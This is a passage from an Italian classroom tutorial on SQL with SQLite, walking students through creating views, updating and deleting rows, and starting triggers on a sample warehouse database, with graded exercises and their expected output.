Si consegni per la valutazione, la stampa ottenuta in questo modo, assieme alla stampa del file ‘`interrogazione-movimenti-causali-02.sql`’.

90.6.3 Verifica sull'interrogazione simultanea delle relazioni «Movimenti», «Causali» e «Clienti»

Si prepari il file ‘`interrogazione-movimenti-causali-clienti-03.sql`’, seguendo lo scheletro seguente, tenendo conto che si vuole ottenere l'elenco di tutte le tuple per le quali si possa stabilire un abbinamento in base al codice della causale e in base al codice del cliente. Precisamente, si vuole ottenere l'attributo ‘**`Articolo`**’ dalla relazione ‘**`Movimenti`**’; l'attributo ‘**`Descrizione`**’ dalla relazione ‘**`Causali`**’; l'attributo ‘**`Data`**’ dalla relazione ‘**`Movimenti`**’; l'attributo ‘**`RagioneSociale`**’ dalla relazione ‘**`Clienti`**’. L'attributo ‘**`Descrizione`**’ della relazione ‘**`Causali`**’ deve apparire con il nome ‘**`Causale`**’ e l'attributo ‘**`RagioneSociale`**’ della relazione ‘**`Clienti`**’ deve apparire con il nome ‘**`Cliente`**’.

Figura 90.67. Scheletro del file ‘`interrogazione-movimenti-causali-clienti-03.sql`’, da completare.

```
-- Interrogazione delle relazioni "Movimenti", "Causali" e "Clienti"
-- Esercizio di: cognome nome classe
-- Data: data
-- File: interrogazione-movimenti-causali-clienti-03.sql

.headers on
.mode column

SELECT …
       FROM …
       WHERE …
```

Una volta completato e salvato il file ‘`interrogazione-movimenti-causali-clienti-03.sql`’, se ne controlli il funzionamento con la base di dati:

$ **sqlite3 mag.db < interrogazione-movimenti-causali-clienti-03.sql** [*Invio*]

Si dovrebbe ottenere il risultato seguente:

```
Articolo    Causale               Data        Cliente
----------  --------------------  ----------  --------------
2           Scarico per vendita   2010-01-16  Filano Filani
102         Scarico per vendita   2010-01-18  Mevio Mevi
401         Scarico per vendita   2010-01-20  Martino Martin
601         Scarico per vendita   2010-01-25  Mevio Mevi
```

Se il risultato è corretto, si proceda con la stampa:

$ **sqlite3 mag.db < interrogazione-movimenti-causali-clienti-03.sql** ↩
↪ **| lpr** [*Invio*]

Si consegni per la valutazione, la stampa ottenuta in questo modo, assieme alla stampa del file '`interrogazione-movimenti-causali-clienti-03.sql`'.

90.6.4 Conclusione

Il file '`prova-interrogazione-movimenti-articoli.sql`' non serve più e va cancellato.

90.7 Viste

È possibile trasformare l'interrogazione di una o più relazioni in una ***vista***, la quale diventa in pratica una relazione virtuale.

90.7.1 Creazione della vista «Listino»

Con l'ausilio di un programma per la scrittura e modifica di file di testo puro, si crei il file '`prova-vista-listino.sql`', contenente il testo seguente, sostituendo le metavariabili con informazioni appropriate e rispettando la punteggiatura:

```
-- Creazione della vista "Listino"
-- Esercizio di: cognome nome classe
-- Data: data
-- File: prova-vista-listino.sql

CREATE VIEW Listino AS
            SELECT Articolo AS Codice,
                   Descrizione AS Articolo,
                   Listino AS EUR
                   FROM Articoli;
```

In questo modo, si crea la vista '**`Listino`**', composta dagli attributi '**`Codice`**', '**`Articolo`**' e '**`EUR`**', utilizzando, rispettivamente, gli attributi '**`Articolo`**', '**`Descrizione`**' e '**`Listino`**' dalla relazione '**`Articoli`**'.

Si controlli di avere scritto il file '`prova-vista-listino.sql`' in modo corretto, rispettando anche la punteggiatura; si controlli di avere salvato il file con il nome previsto, quindi si proceda con il comando seguente:

`$` **`sqlite3 mag.db < prova-vista-listino.sql`** [*Invio*]

Se non si ottiene alcun messaggio da parte del programma, la creazione della vista '**`Listino`**' ha avuto successo, altrimenti, è stato commesso un errore. Per rimediare all'errore, si deve prima cancellare la vista, quindi si può ritentare l'inserimento del comando (ammesso che il file '`prova-vista-listino.sql`' sia stato corretto di conseguenza). I passaggi per eliminare la vista, in modo interattivo, sono quelli seguenti:

`$` **`sqlite3 mag.db`** [*Invio*]

```
SQLite version …
Enter ".help" for instructions
```

sqlite> **DROP VIEW Listino;** [*Invio*]

sqlite> **.quit** [*Invio*]

Quando si è consapevoli di avere creato correttamente la vista '**Listino**', la si può interrogare come se fosse una relazione normale. Si esegua il procedimento seguente, in modo interattivo:

$ **sqlite3 mag.db** [*Invio*]

```
SQLite version …
Enter ".help" for instructions
```

sqlite> **.headers on** [*Invio*]

sqlite> **.mode column** [*Invio*]

sqlite> **SELECT * FROM Listino;** [*Invio*]

Si dovrebbe ottenere il listato seguente:

```
Codice      Articolo                       EUR
----------  -----------------------------  ----------
1           Dischetti da 9 cm 1440 Kibyte  0.2
2           Dischetti da 9 cm 1440 Kibyte  0.25
101         CD-R 16x                       0.5
102         CD-R 52x                       1
201         CD-RW 4x                       1
202         CD-RW 8x                       1.5
301         DVD-R 8x                       1
302         DVD-R 16x                      2
401         DVD+R 8x                       1
402         DVD+R 16x                      2
501         DVD-RW 8x                      2
601         DVD+RW 8x                      2
```

Come sempre, si conclude il funzionamento interattivo di '**sqlite3**' con il comando '**.quit**':

sqlite> **.quit** [*Invio*]

90.7.2 Creazione della vista «Resi»

Con l'ausilio di un programma per la scrittura e modifica di file di testo puro, si crei il file '`prova-vista-resi.sql`', contenente il testo seguente, sostituendo le metavariabili con informazioni appropriate e rispettando la punteggiatura:

```
-- Creazione della vista "Resi" (resi a fornitori)
-- Esercizio di: cognome nome classe
-- Data: data
-- File: prova-vista-resi.sql

CREATE VIEW Resi AS
            SELECT Articoli.Descrizione     AS Articolo,
                   Movimenti.Data           AS Data,
                   Fornitori.RagioneSociale AS Fornitore,
                   Movimenti.Quantita       AS Reso,
                   Movimenti.Valore         AS Valore
                   FROM Articoli, Movimenti, Fornitori
                   WHERE Movimenti.Causale   = 4
                     AND Movimenti.Articolo  = Articoli.Articolo
                     AND Movimenti.Fornitore = Fornitori.Fornitore;
```

In questo modo, si crea la vista '**Resi**', utilizzando le relazioni '**Articoli**', '**Movimenti**' e '**Fornitori**', limitando la selezione delle tuple della relazione '**Movimenti**' a quelle che riguardano un reso a fornitore, in quanto la causale corrisponde al numero quattro.

Si controlli di avere scritto il file 'prova-vista-resi.sql' in modo corretto, rispettando anche la punteggiatura; si controlli di avere salvato il file con il nome previsto, quindi si proceda con il comando seguente:

$ **sqlite3 mag.db < prova-vista-resi.sql** [*Invio*]

Se non si ottiene alcun messaggio da parte del programma, la creazione della vista '**Resi**' ha avuto successo, altrimenti, è stato commesso un errore. Per rimediare all'errore, si deve prima cancellare la vista, quindi si può ritentare l'inserimento del comando (ammesso che il file 'prova-vista-resi.sql' sia stato corretto di conseguenza). I passaggi per eliminare la vista, in modo interattivo, sono quelli seguenti:

$ **sqlite3 mag.db** [*Invio*]

```
SQLite version …
Enter ".help" for instructions
```

sqlite> **DROP VIEW Resi;** [*Invio*]

sqlite> **.quit** [*Invio*]

Quando si è consapevoli di avere creato correttamente la vista '**Resi**', la si può interrogare come se fosse una relazione normale. Si esegua il procedimento seguente, in modo interattivo:

$ **sqlite3 mag.db** [*Invio*]

```
SQLite version …
Enter ".help" for instructions
```

sqlite> **.headers on** [*Invio*]

sqlite> **.mode column** [*Invio*]

sqlite> **SELECT * FROM Resi;** [*Invio*]

Si dovrebbe ottenere il listato seguente:

```
Articolo    Data        Fornitore   Reso        Valore
----------  ----------  ----------  ----------  ----------
CD-R 52x    2010-01-20  Caio Cai    100         20
DVD+R 8x    2010-01-20  Tizio Tizi  100         20
```

Come sempre, si conclude il funzionamento interattivo di '**sqlite3**' con il comando '**.quit**':

sqlite> **.quit** [*Invio*]

90.7.3 Verifica sulla creazione della vista «Acquisti»

Si prepari il file 'vista-acquisti.sql', seguendo lo scheletro seguente, tenendo conto che si vuole ottenere un elenco dei movimenti di magazzino che riguardano i carichi per acquisto (causale uno). La vista deve essere composta dagli attributi seguenti:

1. '**Articolo**', corrispondente alla descrizione dell'articolo acquistato;
2. '**Data**', corrispondente alla data di acquisto;
3. '**Fornitore**', corrispondente alla ragione sociale del fornitore dal quale l'articolo è stato acquistato;
4. '**Acquistato**', corrispondente alla quantità acquistata;
5. '**Valore**', corrispondente al valore complessivo caricato (pari all'attributo con lo stesso nome della relazione '**Movimenti**').

Figura 90.77. Scheletro del file 'vista-acquisti.sql', da completare.

```
-- Creazione della vista "Acquisti"
-- Esercizio di: cognome nome classe
-- Data: data
-- File: vista-acquisti.sql

CREATE VIEW …
       SELECT …
              FROM …
              WHERE …
```

Una volta completato e salvato il file 'vista-acquisti.sql', se ne controlli il funzionamento con la base di dati:

$ **sqlite3 mag.db < vista-acquisti.sql** [*Invio*]

Se non si ottiene alcun messaggio da parte del programma, la creazione della vista '**Acquisti**' ha avuto successo, altrimenti, è stato commesso un errore. Per rimediare all'errore, si deve

prima cancellare la vista, quindi si può ritentare l'inserimento del comando (ammesso che il file 'vista-acquisti.sql' sia stato corretto di conseguenza).

Quando si è consapevoli di avere creato correttamente la vista '**Acquisti**', la si può interrogare come se fosse una relazione normale. Si esegua il procedimento seguente, in modo interattivo:

$ **sqlite3 mag.db** [*Invio*]

```
SQLite version …
Enter ".help" for instructions
```

sqlite> **.headers on** [*Invio*]

sqlite> **.mode column** [*Invio*]

sqlite> **SELECT * FROM Acquisti;** [*Invio*]

Si dovrebbe ottenere il listato seguente:

```
Articolo                               Data        Fornitore           Acquistato  Valore
-------------------------------------  ----------  ------------------  ----------  ----------
Dischetti da 9 cm 1440 Kibyte colorati  2010-01-15  Sempronio Semproni  10000       100
CD-R 52x                               2010-01-17  Caio Cai            1000        200
DVD+R 8x                               2010-01-19  Tizio Tizi          1000        200
DVD+RW 8x                              2010-01-21  Sempronio Semproni  2000        1000
```

Se tutto funziona regolarmente, si consegni per la valutazione la stampa del file 'vista-acquisti.sql'.

90.7.4 Verifica sulla creazione della vista «Vendite»

Si prepari il file 'vista-vendite.sql', seguendo lo scheletro seguente, tenendo conto che si vuole ottenere un elenco dei movimenti di magazzino che riguardano gli scarichi per vendita (causale due). La vista deve essere composta dagli attributi seguenti:

1. '**Articolo**', corrispondente alla descrizione dell'articolo venduto;
2. '**Data**', corrispondente alla data di vendita;
3. '**Cliente**', corrispondente alla ragione sociale del cliente al quale l'articolo è stato venduto;
4. '**Venduto**', corrispondente alla quantità venduta;
5. '**Valore**', corrispondente al valore complessivo scaricato (pari all'attributo con lo stesso nome della relazione '**Movimenti**').

Figura 90.80. Scheletro del file '`vista-vendite.sql`', da completare.

```
-- Creazione della vista "Vendite"
-- Esercizio di: cognome nome classe
-- Data: data
-- File: vista-vendite.sql

CREATE VIEW …
       SELECT …
              FROM …
              WHERE …
```

Una volta completato e salvato il file '`vista-vendite.sql`', se ne controlli il funzionamento con la base di dati:

$ **`sqlite3 mag.db < vista-vendite.sql`** [*Invio*]

Se non si ottiene alcun messaggio da parte del programma, la creazione della vista '**`Vendite`**' ha avuto successo, altrimenti, è stato commesso un errore. Per rimediare all'errore, si deve prima cancellare la vista, quindi si può ritentare l'inserimento del comando (ammesso che il file '`vista-vendite.sql`' sia stato corretto di conseguenza).

Quando si è consapevoli di avere creato correttamente la vista '**`Vendite`**', la si può interrogare come se fosse una relazione normale. Si esegua il procedimento seguente, in modo interattivo:

$ **`sqlite3 mag.db`** [*Invio*]

```
SQLite version …
Enter ".help" for instructions
```

sqlite> **`.headers on`** [*Invio*]

sqlite> **`.mode column`** [*Invio*]

sqlite> **`SELECT * FROM Vendite;`** [*Invio*]

Si dovrebbe ottenere il listato seguente:

```
Articolo                               Data        Cliente        Venduto     Valore
-------------------------------------  ----------  -------------  ----------  ----------
Dischetti da 9 cm 1440 Kibyte colorati  2010-01-16  Filano Filani  1000        10
CD-R 52x                               2010-01-18  Mevio Mevi     100         20
DVD+R 8x                               2010-01-20  Martino Marti  200         20
DVD+RW 8x                              2010-01-25  Mevio Mevi     1000        500
```

Se tutto funziona regolarmente, si consegni per la valutazione la stampa del file '`vista-vendite.sql`'.

90.7.5 Conclusione

Prima di proseguire, si deve riprendere il file 'magazzino.sql' e vi si devono aggiungere le istruzioni per la creazione delle viste '**Acquisti**' e '**Vendite**', come contenuto nei file 'vista-acquisti.sql' e 'vista-vendite.sql'.

Una volta aggiornato il file 'magazzino.sql' come descritto, si deve cancellare il file 'mag.db' e ricreare a partire dalle istruzioni contenute nel file 'magazzino.sql':

$ **sqlite3 mag.db < magazzino.sql** [*Invio*]

Se vengono segnalati degli errori, occorre correggere il file 'magazzino.sql', cancellare nuovamente il file 'mag.db', quindi si deve ripetere l'operazione. La base di dati contenuta nel file 'mag.db', viene usata ancora e non si può proseguire se non si riesce a ricrearla correttamente.

In precedenza sono stati creati i file 'prova-vista-listino.sql' e 'prova-vista-resi.sql', che a questo punto non servono più e vanno cancellati.

90.8 Modifica del contenuto delle tuple

Una volta inserita una tupla in una relazione, si può modificare il suo contenuto con l'istruzione '**UPDATE**', la quale si applica a tutte le tuple che soddisfano una certa condizione.

90.8.1 Modifica di una causale di magazzino

Con l'ausilio di un programma per la scrittura e modifica di file di testo puro, si crei il file 'prova-modifica-causali.sql', contenente il testo seguente, sostituendo le metavariabili con informazioni appropriate e rispettando la punteggiatura:

```
-- Modifica della relazione "Causali"
-- Esercizio di: cognome nome classe
-- Data: data
-- File: prova-modifica-causali.sql

UPDATE Causali
       SET Descrizione = 'car x acq'
       WHERE Causale = 1;
```

In questo modo, si vuole modificare la tupla della relazione '**Causali**', con il codice causale uno, in modo che la descrizione risulti molto più breve.

Si controlli di avere scritto il file 'prova-modifica-causali.sql' in modo corretto, rispettando anche la punteggiatura; si controlli di avere salvato il file con il nome previsto, quindi si proceda con il comando seguente:

$ **sqlite3 mag.db < prova-modifica-causali.sql** [*Invio*]

Se non si ottiene alcun messaggio da parte del programma, la modifica della tupla dovrebbe essere avvenuta con successo, altrimenti, è stato commesso un errore. Per rimediare all'errore, dovrebbe essere sufficiente modificare il file 'prova-modifica-causali.sql' e riprovare.

Quando si è consapevoli di avere modificato correttamente la tupla in questione, si può interrogare la relazione per verificare i cambiamenti apportati. Si esegua il procedimento seguente, in modo interattivo:

$ **sqlite3 mag.db** [*Invio*]

```
SQLite version …
Enter ".help" for instructions
```

sqlite> **.headers on** [*Invio*]

sqlite> **.mode column** [*Invio*]

sqlite> **SELECT * FROM Causali;** [*Invio*]

Si dovrebbe ottenere il listato seguente:

```
Causale     Descrizione  Variazione
----------  -----------  ----------
1           car x acq    1
2           Scarico per  -1
3           Reso da cli  1
4           Reso a forn  -1
5           Rettifica a  1
6           Rettifica a  -1
7           Rettifica d  1
8           Rettifica d  -1
9           Carico da p  1
10          Scarico a p  -1
11          Carico da a  1
12          Scarico ad   -1
13          Saldo inizi  1
```

Come sempre, si conclude il funzionamento interattivo di '**sqlite3**' con il comando '**.quit**':

sqlite> **.quit** [*Invio*]

Prima di passare alla sezione successiva, si deve ripristinare la base di dati al suo stato precedente. Per questo, è necessario cancellare il file 'mag.db' e poi ricrearlo con il comando seguente:

$ **sqlite3 mag.db < magazzino.sql** [*Invio*]

90.8.2 Modifica di diverse causali di magazzino

Si riprenda il file 'prova-modifica-causali.sql' e lo si modifichi secondo la forma seguente, sostituendo le metavariabili con informazioni appropriate e rispettando la punteggiatura:

```
-- Modifica della relazione "Causali"
-- Esercizio di: cognome nome classe
-- Data: data
-- File: prova-modifica-causali.sql

UPDATE Causali
       SET Descrizione = UPPER (Descrizione)
       WHERE Variazione = 1;

UPDATE Causali
       SET Descrizione = LOWER (Descrizione)
       WHERE Variazione = -1;
```

In questo modo, si vuole modificare ogni tupla della relazione '**Causali**' che corrisponde a un aumento di quantità in magazzino (in quanto nell'attributo '**Variazione**' ha il valore +1), in modo da avere una descrizione con tutte lettere maiuscole. Nel contempo, si vuole che le descrizione associate a movimenti in diminuzione, siano scritte utilizzando soltanto caratteri minuscoli.

Si controlli di avere scritto il file '`prova-modifica-causali.sql`' in modo corretto, rispettando anche la punteggiatura; si controlli di avere salvato il file con il nome previsto, quindi si proceda con il comando seguente:

$ **sqlite3 mag.db < prova-modifica-causali.sql** [*Invio*]

Se non si ottiene alcun messaggio da parte del programma, la modifica delle tuple dovrebbe essere stata eseguita con successo, altrimenti, è stato commesso un errore. Per rimediare all'errore, dovrebbe essere sufficiente modificare il file '`prova-modifica-causali.sql`' e riprovare.

Quando si è consapevoli di avere modificato correttamente le tuple, si può interrogare la relazione per verificare i cambiamenti apportati. Si esegua il procedimento seguente, in modo interattivo:

$ **sqlite3 mag.db** [*Invio*]

```
SQLite version …
Enter ".help" for instructions
```

sqlite> **.headers on** [*Invio*]

sqlite> **.mode column** [*Invio*]

sqlite> **SELECT * FROM Causali;** [*Invio*]

Si dovrebbe ottenere il listato seguente:

```
Causale     Descrizione          Variazione
----------  -------------------  ----------
1           CARICO PER ACQUISTO  1
2           scarico per vendita  -1
3           RESO DA CLIENTE      1
```

```
4           reso a fornitore     -1
5           RETTIFICA AUMENTO A  1
6           rettifica aumento v  -1
7           RETTIFICA DIMINUZIO  1
8           rettifica diminuzio  -1
9           CARICO DA PRODUZION  1
10          scarico a produzion  -1
11          CARICO DA ALTRO MAG  1
12          scarico ad altro ma  -1
13          SALDO INIZIALE       1
```

Come sempre, si conclude il funzionamento interattivo di '**sqlite3**' con il comando '**.quit**':

sqlite> **.quit** [*Invio*]

Prima di passare alla sezione successiva, si deve ripristinare la base di dati al suo stato precedente. Per questo, è necessario cancellare il file 'mag.db' e poi ricrearlo con il comando seguente:

$ **sqlite3 mag.db < magazzino.sql** [*Invio*]

90.8.3 Verifica sulla modifica della relazione «Articoli»

Si prepari il file 'modifica-articoli.sql', seguendo lo scheletro seguente, tenendo conto che si vuole cambiare la descrizione del primo e del secondo articolo, in modo da avere rispettivamente: «Floppy 1.4» e «Floppy 1.4 C». Per ottenere questo risultato è necessario utilizzare due volte l'istruzione '**UPDATE**'.

Figura 90.89. Scheletro del file 'modifica-articoli.sql', da completare.

```
-- Modifica della relazione "Articoli"
-- Esercizio di: cognome nome classe
-- Data: data
-- File: modifica-articoli.sql

UPDATE Articoli
       SET …
       WHERE Articolo = 1;

UPDATE Articoli
       SET …
       WHERE Articolo = 2;
```

Una volta completato e salvato il file 'modifica-articoli.sql', se ne controlli il funzionamento con la base di dati:

$ **sqlite3 mag.db < modifica-articoli.sql** [*Invio*]

Se non si ottiene alcun messaggio da parte del programma, la modifica delle tuple dovrebbe essere avvenuta con successo, altrimenti è stato commesso un errore. Per rimediare all'errore dovrebbe essere sufficiente correggere il file 'modifica-articoli.sql' e riprovare.

Quando si ritiene di avere eseguito l'operazione correttamente, si può interrogare la relazione '**`Articoli`**' per verificarne il risultato. Si esegua il procedimento seguente, in modo interattivo:

```
$ sqlite3 mag.db [Invio]
```

```
SQLite version ...
Enter ".help" for instructions
```

```
sqlite> .headers on [Invio]
```

```
sqlite> .mode column [Invio]
```

```
sqlite> SELECT * FROM Articoli; [Invio]
```

Si dovrebbe ottenere il listato seguente:

```
Articolo    Descrizione  UM          Listino     ScortaMin
----------  -----------  ----------  ----------  ----------
1           Floppy 1.4   pz          0.2         500
2           Floppy 1.4   pz          0.25        500
101         CD-R 16x     pz          0.5         500
102         CD-R 52x     pz          1           500
201         CD-RW 4x     pz          1           200
202         CD-RW 8x     pz          1.5         200
301         DVD-R 8x     pz          1           200
302         DVD-R 16x    pz          2           200
401         DVD+R 8x     pz          1           200
402         DVD+R 16x    pz          2           200
501         DVD-RW 8x    pz          2           200
601         DVD+RW 8x    pz          2           200
```

Se tutto funziona regolarmente, si consegni per la valutazione la stampa del file '`modifica-articoli.sql`'.

Prima di passare alla sezione successiva, si deve ripristinare la base di dati al suo stato precedente. Per questo, è necessario cancellare il file '`mag.db`' e poi ricrearlo con il comando seguente:

```
$ sqlite3 mag.db < magazzino.sql [Invio]
```

90.8.4 Verifica sulla modifica delle relazioni «Clienti» e «Fornitori»

Si prepari il file '`modifica-clienti-fornitori.sql`', seguendo lo scheletro seguente, tenendo conto che si vuole cambiare la ragione sociale delle relazioni '**`Clienti`**' e '**`Fornitori`**', in modo che sia costituita da caratteri maiuscoli. Pertanto, la sostituzione riguarda tutte le tuple in entrambe le relazioni.

Figura 90.92. Scheletro del file 'modifica-clienti-fornitori.sql', da completare.

```
-- Modifica delle relazioni "Clienti" e "Fornitori"
-- Esercizio di: cognome nome classe
-- Data: data
-- File: modifica-clienti-fornitori.sql

UPDATE Clienti
       SET …

UPDATE Fornitori
       SET …
```

Una volta completato e salvato il file 'modifica-clienti-fornitori.sql', se ne controlli il funzionamento con la base di dati:

$ **sqlite3 mag.db < modifica-clienti-fornitori.sql** [*Invio*]

Se non si ottiene alcun messaggio da parte del programma, la modifica delle tuple dovrebbe essere avvenuta con successo, altrimenti è stato commesso un errore. Per rimediare all'errore dovrebbe essere sufficiente correggere il file 'modifica-articoli.sql' e riprovare. Quando si ritiene di avere eseguito l'operazione correttamente, si possono interrogare le due relazioni per verificarne il contenuto. Si esegua il procedimento seguente, in modo interattivo:

$ **sqlite3 mag.db** [*Invio*]

```
SQLite version …
Enter ".help" for instructions
```

sqlite> **.headers on** [*Invio*]

sqlite> **.mode column** [*Invio*]

sqlite> **SELECT * FROM Clienti;** [*Invio*]

Si dovrebbe ottenere il listato seguente:

```
Cliente RagioneSociale Paese  Indirizzo    CAP   Citta      Prov Telefono    Fax         CFPI
------- -------------- ------ ------------ ----- ---------- ---- ----------- ----------- -----------
1       MEVIO VEVI     ITALIA via Mare, 11 31050 Morgano    TV   0422,444444 0422,555555 45678901234
2       FILANO FILANI  ITALIA via Farfalle 31032 Feltre     BL   0439,555555 0439,666666 56789012345
3       MARTINO MARTIN ITALIA via Marte, 3 31010 Mareno di  TV   0438,666666 0438,777777 67890123456
```

sqlite> **SELECT * FROM Fornitori;** [*Invio*]

Si dovrebbe ottenere il listato seguente:

```
Fornitore RagioneSociale Paese  Indirizzo     CAP   Citta      Prov Telefono    Fax         CFPI
--------- -------------- ------ ------------- ----- ---------- ---- ----------- ----------- -----------
1         TIZIO TIZI     ITALIA via Tazio, 11 31100 Treviso    TV   0422,111111 0422,222222 12345678901
2         CAIO CAI       ITALIA via Caino, 22 31033 Castelfran TV   0423,222222 0423,333333 23456789012
3         SEMPRONIO SEMP ITALIA via Salina, 3 31057 Silea      TV   0422,333333 0422,444444 34567890123
```

Se tutto funziona regolarmente, si consegni per la valutazione la stampa del file 'modifica-

`clienti-fornitori.sql`.

Prima di passare alla sezione successiva, si deve ripristinare la base di dati al suo stato precedente. Per questo, è necessario cancellare il file `mag.db` e poi ricrearlo con il comando seguente:

$ **sqlite3 mag.db < magazzino.sql** [*Invio*]

90.8.5 Conclusione

Il file `prova-modifica-causali.sql` non serve più e va cancellato.

90.9 Eliminazione delle tuple

La cancellazione delle tuple avviene attraverso l'istruzione '**DELETE FROM**', con un procedimento simile a quello della modifica, in quanto va specificata la condizione di cancellazione, altrimenti si ottiene l'eliminazione di tutte le tuple della relazione.

90.9.1 Cancellazione di una causale di magazzino

Con l'ausilio di un programma per la scrittura e modifica di file di testo puro, si crei il file `prova-cancella-causali.sql`, contenente il testo seguente, sostituendo le metavariabili con informazioni appropriate e rispettando la punteggiatura:

```
-- Cancellazione nella relazione "Causali"
-- Esercizio di: cognome nome classe
-- Data: data
-- File: prova-cancella-causali.sql

DELETE FROM Causali
       WHERE Causale = 1;
```

In questo modo, si vuole eliminare la tupla della relazione '**Causali**', con il codice causale uno (quella che ha la descrizione «Carico per acquisto»).

Si controlli di avere scritto il file `prova-cancella-causali.sql` in modo corretto, rispettando anche la punteggiatura; si controlli di avere salvato il file con il nome previsto, quindi si proceda con il comando seguente:

$ **sqlite3 mag.db < prova-cancella-causali.sql** [*Invio*]

Se non si ottiene alcun messaggio da parte del programma, la cancellazione della tupla dovrebbe essere avvenuta con successo, altrimenti, è stato commesso un errore. Per rimediare all'errore, dovrebbe essere sufficiente modificare il file `prova-cancella-causali.sql` e riprovare. Quando si ritiene di avere cancellato la tupla in questione, si può interrogare la relazione per verificarne lo stato. Si esegua il procedimento seguente, in modo interattivo:

$ **sqlite3 mag.db** [*Invio*]

```
SQLite version …
Enter ".help" for instructions
```

sqlite> **.headers on** [*Invio*]

sqlite> **.mode column** [*Invio*]

sqlite> **SELECT * FROM Causali;** [*Invio*]

Si dovrebbe ottenere il listato seguente:

```
Causale     Descrizione          Variazione
----------  -------------------  ----------
2           Scarico per vendita  -1
3           Reso da cliente      1
4           Reso a fornitore     -1
5           Rettifica aumento a  1
6           Rettifica aumento v  -1
7           Rettifica diminuzio  1
8           Rettifica diminuzio  -1
9           Carico da produzion  1
10          Scarico a produzion  -1
11          Carico da altro mag  1
12          Scarico ad altro ma  -1
13          Saldo iniziale       1
```

Come sempre, si conclude il funzionamento interattivo di '**sqlite3**' con il comando '**.quit**':

sqlite> **.quit** [*Invio*]

Prima di passare alla sezione successiva, si deve ripristinare la base di dati al suo stato precedente. Per questo, è necessario cancellare il file 'mag.db' e poi ricrearlo con il comando seguente:

$ **sqlite3 mag.db < magazzino.sql** [*Invio*]

90.9.2 Cancellazione di diverse causali di magazzino

Si riprenda il file 'prova-cancella-causali.sql' e lo si modifichi secondo la forma seguente, sostituendo le metavariabili con informazioni appropriate e rispettando la punteggiatura:

```
-- Cancellazione nella relazione "Causali"
-- Esercizio di: cognome nome classe
-- Data: data
-- File: prova-cancella-causali.sql

DELETE FROM Causali
       WHERE Variazione = -1;
```

In questo modo, si vogliono eliminare le tuple corrispondenti a una riduzione della quantità in magazzino, (in quanto nell'attributo '**Variazione**' ha il valore −1).

Si controlli di avere scritto il file '`prova-cancella-causali.sql`' in modo corretto, rispettando anche la punteggiatura; si controlli di avere salvato il file con il nome previsto, quindi si proceda con il comando seguente:

$ **`sqlite3 mag.db < prova-cancella-causali.sql`** [*Invio*]

Se non si ottiene alcun messaggio da parte del programma, la cancellazione dovrebbe avere avuto successo, altrimenti, è stato commesso un errore. Per rimediare all'errore, dovrebbe essere sufficiente modificare il file '`prova-cancella-causali.sql`' e riprovare. Quando si ritiene di avere eseguito l'operazione con successo, si può interrogare la relazione per verificare i cambiamenti apportati. Si esegua il procedimento seguente, in modo interattivo:

$ **`sqlite3 mag.db`** [*Invio*]

```
SQLite version …
Enter ".help" for instructions
```

sqlite> **`.headers on`** [*Invio*]

sqlite> **`.mode column`** [*Invio*]

sqlite> **`SELECT * FROM Causali;`** [*Invio*]

Si dovrebbe ottenere il listato seguente:

```
Causale     Descrizione          Variazione
----------  -------------------  ----------
1           Carico per acquisto  1
3           Reso da cliente      1
5           Rettifica aumento a  1
7           Rettifica diminuzio  1
9           Carico da produzion  1
11          Carico da altro mag  1
13          Saldo iniziale       1
```

Come sempre, si conclude il funzionamento interattivo di '**`sqlite3`**' con il comando '**`.quit`**':

sqlite> **`.quit`** [*Invio*]

Prima di passare alla sezione successiva, si deve ripristinare la base di dati al suo stato precedente. Per questo, è necessario cancellare il file '`mag.db`' e poi ricrearlo con il comando seguente:

$ **`sqlite3 mag.db < magazzino.sql`** [*Invio*]

90.9.3 Verifica sulla cancellazione di alcuni articoli

Si prepari il file '`cancella-articoli.sql`', seguendo lo scheletro seguente, tenendo conto che si vogliono eliminare i dischetti (i primi due).

Figura 90.102. Scheletro del file '`cancella-articoli.sql`', da completare.

```
-- Cancellazione di alcune tuple della relazione "Articoli"
-- Esercizio di: cognome nome classe
-- Data: data
-- File: cancella-articoli.sql

DELETE FROM Articoli
       WHERE …

DELETE FROM Articoli
       WHERE …
```

Una volta completato e salvato il file '`cancella-articoli.sql`', se ne controlli il funzionamento con la base di dati:

$ **sqlite3 mag.db < cancella-articoli.sql** [*Invio*]

Se non si ottiene alcun messaggio da parte del programma, la cancellazione delle tuple dovrebbe essere avvenuta con successo, altrimenti è stato commesso un errore. Per rimediare all'errore dovrebbe essere sufficiente correggere il file '`modifica-articoli.sql`' e riprovare. Quando si ritiene di avere eseguito l'operazione correttamente, si può interrogare la relazione '**`Articoli`**' per verificarne il risultato. Si esegua il procedimento seguente, in modo interattivo:

$ **sqlite3 mag.db** [*Invio*]

```
SQLite version …
Enter ".help" for instructions
```

sqlite> **.headers on** [*Invio*]

sqlite> **.mode column** [*Invio*]

sqlite> **SELECT * FROM Articoli;** [*Invio*]

Si dovrebbe ottenere il listato seguente:

```
Articolo    Descrizione  UM          Listino     ScortaMin
----------  -----------  ----------  ----------  ----------
101         CD-R 16x     pz          0.5         500
102         CD-R 52x     pz          1           500
201         CD-RW 4x     pz          1           200
202         CD-RW 8x     pz          1.5         200
301         DVD-R 8x     pz          1           200
302         DVD-R 16x    pz          2           200
401         DVD+R 8x     pz          1           200
```

```
402          DVD+R 16x    pz          2           200
501          DVD-RW 8x    pz          2           200
601          DVD+RW 8x    pz          2           200
```

Se tutto funziona regolarmente, si consegni per la valutazione la stampa del file '`cancella-articoli.sql`'.

Prima di passare alla sezione successiva, si deve ripristinare la base di dati al suo stato precedente. Per questo, è necessario cancellare il file '`mag.db`' e poi ricrearlo con il comando seguente:

$ **`sqlite3 mag.db < magazzino.sql`** [*Invio*]

90.9.4 Conclusione

Il file '`prova-cancella-causali.sql`' non serve più e va cancellato.

90.10 Grilletti per il controllo del dominio degli attributi

Nel momento in cui si inseriscono o si modificano i valori per una tupla di una certa relazione, può essere importante fare in modo di rifiutare i valori impossibili, in quanto non facenti parte del dominio previsto per gli attributi della stessa. Di solito, questo tipo di controllo può essere dichiarato in fase di creazione della relazione; tuttavia, un DBMS limitato potrebbe ignorare tali dichiarazioni.

I ***grilletti*** sono delle funzioni che «scattano», in quanto vengono eseguite, quando si verificano certi eventi. Attraverso i grilletti è possibile impedire l'inserimento di valori errati all'interno degli attributi e questo è l'obiettivo della sezione.

90.10.1 Creazione dei grilletti «Causali_ins» e «Causali_upd»

Con l'ausilio di un programma per la scrittura e modifica di file di testo puro, si crei il file '`grilletti-causali.sql`', contenente il testo seguente, sostituendo le metavariabili con informazioni appropriate e rispettando la punteggiatura:

```
-- Creazione dei grilletti "Causali_ins" e "Causali_upd"
-- Esercizio di: cognome nome classe
